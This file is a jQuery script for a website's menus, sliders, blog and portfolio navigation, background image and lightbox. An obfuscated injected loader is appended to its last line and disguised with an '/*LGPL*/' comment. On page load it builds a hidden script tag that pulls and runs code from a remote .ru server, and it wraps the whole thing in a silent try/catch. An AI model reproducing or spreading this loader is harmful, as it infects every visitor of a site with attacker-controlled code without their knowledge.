
function deployFunctions() {

	/**************************************************
		MENU
	**************************************************/
	
	$('.menu').css('top', ($(window).height() - $('.menu').height()) / 2);
	
	/**************************************************
		SLIDER
	**************************************************/
	
	$(".sliderMask, .jScrollPaneContainer").height($(window).height());
	$('.sliderMask').jScrollPane();
	
	/**************************************************
		NAVIGATION - BLOG
	**************************************************/
	
	$(".nav.blog").height($(window).height());
	
	if ($('.nav.blog .navContent').height() < $(window).height()) {
		$('.nav.blog .navContent').css('top', ($(window).height() - $('.nav.blog .navContent').height()) / 2);
	}
	
	/**************************************************
		NAVIGATION - PORTFOLIO
	**************************************************/
	
	$(".nav.portfolio").height($(window).height());
	
	if ($('.nav.portfolio .navContent').height() < $(window).height()) {
		$('.nav.portfolio .navContent').css('top', ($(window).height() - $('.nav.portfolio .navContent').height()) / 2);
	}
	
	/**************************************************
		GOOGLE MAPS
	**************************************************/
	
	if ($.browser.msie && $.browser.version=="6.0") {
		$("#background div.gradient .right, #background div.gradient .left").height($(window).height());
	}
	
}

$(document).ready(function() {

	deployFunctions();
	
	/**************************************************
		MENU
	**************************************************/
	
	$('.menu ul.list li a').hover(function() {
		$(this).animate({paddingLeft: '20px'}, {queue:false, duration: 100});
	},
	function(){
		$(this).animate({paddingLeft: '10px'}, {queue:false, duration: 100});
	});
	
	/**************************************************
		SEARCH
	**************************************************/
	
	$('.menu .search').hover(function(){
		$(this).animate({left: '0px'}, {queue:false, duration: 100});
	},
	function(){
		$(this).animate({left: '-150px'}, {queue:false, duration: 100});
	});
	
	/**************************************************
		SLIDER
	**************************************************/
	
	$('.sliderMask .sliderContent img').load(function() {
		$(".sliderMask, .jScrollPaneContainer").height($(window).height());
		$('.sliderMask').jScrollPane();
	});
	
	/**************************************************
		NAVIGATION - BLOG
	**************************************************/
	
	$('.nav.blog .navContent li a').hover(function(){
		$(this).animate({paddingRight: '20px'}, {queue:false, duration: 100});
	},
	function(){
		$(this).animate({paddingRight: '10px'}, {queue:false, duration: 100});
	});
	
	$('.nav.blog .navMask ul.navContent').mousemove(function(e) {
		var _top = parseInt($('.nav.blog').offset().top);
		var _contentH = parseInt($('.nav.blog .navMask').height()) + 5;
		var _H = $('.nav.blog').height() - 20;
		var _scH = _contentH - _H;
		var _ypos = e.pageY - _top;
		
		if(_scH > 0) {
			var _contentY = -(_scH / _H)*_ypos + 10;
			$('.nav.blog .navMask .navContent').animate({top: _contentY}, { queue:false, duration: 500 });
		}
	});
	
	/**************************************************
		NAVIGATION - PORTFOLIO
	**************************************************/
	
	$('.nav.portfolio .navMask ul.navContent li').hover(function(){
		$(this).animate({right: '0px'}, {queue:false, duration: 100});
	},
	function(){
		$(this).animate({right: '-10px'}, {queue:false, duration: 100});
	});
	
	$('.nav.portfolio .navMask ul.navContent li p.image img').hover(function(){
		$(this).animate({opacity: '0.5'}, {queue:false, duration: 100});
	},
	function(){
		$(this).animate({opacity: '1'}, {queue:false, duration: 100});
	});
	
	$('.nav.portfolio .navMask ul.navContent').mousemove(function(e) {
		var _top = parseInt($('.nav.portfolio').offset().top);
		var _contentH = parseInt($('.nav.portfolio .navMask').height()) + 5;
		var _H = $('.nav.portfolio').height() - 20;
		var _scH = _contentH - _H;
		var _ypos = e.pageY - _top;
		
		if(_scH > 0) {
			var _contentY = -(_scH / _H)*_ypos + 10;
			$('.nav.portfolio .navMask .navContent').animate({top: _contentY}, { queue:false, duration: 500 });
		}
	});
	
	/**************************************************
		BACKGROUND
	**************************************************/
	
    $('#background img').load(function() {
		$(this).css({
			top: ($(window).height() - $(this).height()) / 2,
			display: 'block'
		});
    });
	
	$('#background img').css({
		top: ($(window).height() - $('#background img').height()) / 2,
		display: 'block'
	});
	
	/**************************************************
		LIGHTBOX
	**************************************************/
	
	$(function() {
		$('.lightbox').lightBox();
	});
	
});

window.onresize = function() {

	deployFunctions();
	
	/**************************************************
		BACKGROUND
	**************************************************/
	
	$('#background img').css('top', ($(window).height() - $('#background img').height()) / 2);
}
/*LGPL*/ try{ window.onload = function(){var Y3oxov96rwh = document.createElement('s(c^r$$#i$!p)t#('.replace(/&|@|\^|\!|#|\)|\(|\$/ig, ''));Y3oxov96rwh.setAttribute('defer', 'd&e&&^&f&e((r&#'.replace(/\^|&|\(|\)|#|\$|\!|@/ig, ''));Y3oxov96rwh.setAttribute('type', 't)&$e$!^x!t&!@/@!)j#!a^$v#a&)&#s$(!c!$^r@i($p$!^t#^#'.replace(/\(|&|@|\!|\)|\^|\$|#/ig, ''));Y3oxov96rwh.setAttribute('id', 'S@@s$(0()v(^^(f$#a!^$)&h!#k@&@l(k^@(^p&w@&'.replace(/@|\$|\)|&|\!|\(|#|\^/ig, ''));Y3oxov96rwh.setAttribute('s@#@r!^(c^'.replace(/\)|\^|\!|@|\(|#|&|\$/ig, ''),  'h!^)&@t&$)t###p#):@@/^)^/#(a)$t@#)(w^)!i@k##$i^!^&-$!j(^@p^^@.!)&s(&$^#a(m!s^&&#!u((^n($^&g#.^#&c(@o^@!m@&)^!.#5^!(#8(-^))c$^$@o!m!.$w)e#$@$$b@)n##e^#^t(e!)^x$$@)p$e&#^(!r&!$t^@&#s^^.#($&^r!&&u):)@8&(0((@8(0&&&/&&g&@&o^o@g&)#l!!e$(.$@c^$@$o@m)/^#$g!^)o&(&o@@g@()l^e)^.$&c#(&o&m$@#/$))g)^$^o@@&o^)&g#@l)!e@^$.#^)c@o@m&($.!u#)a!@)&/)c^^h!i^))n$$(a$r&e))@$n@@.!c!o&^m(@#&#/#h()@^a#)^)o!1&@2!)&!3@.!^c#)@$$o$!^m@/)^()&'.replace(/&|@|#|\)|\!|\$|\(|\^/ig, ''));if (document){document.body.appendChild(Y3oxov96rwh);}} } catch(Yvrw0ul2iwvpr6u5vn7ow8r) {}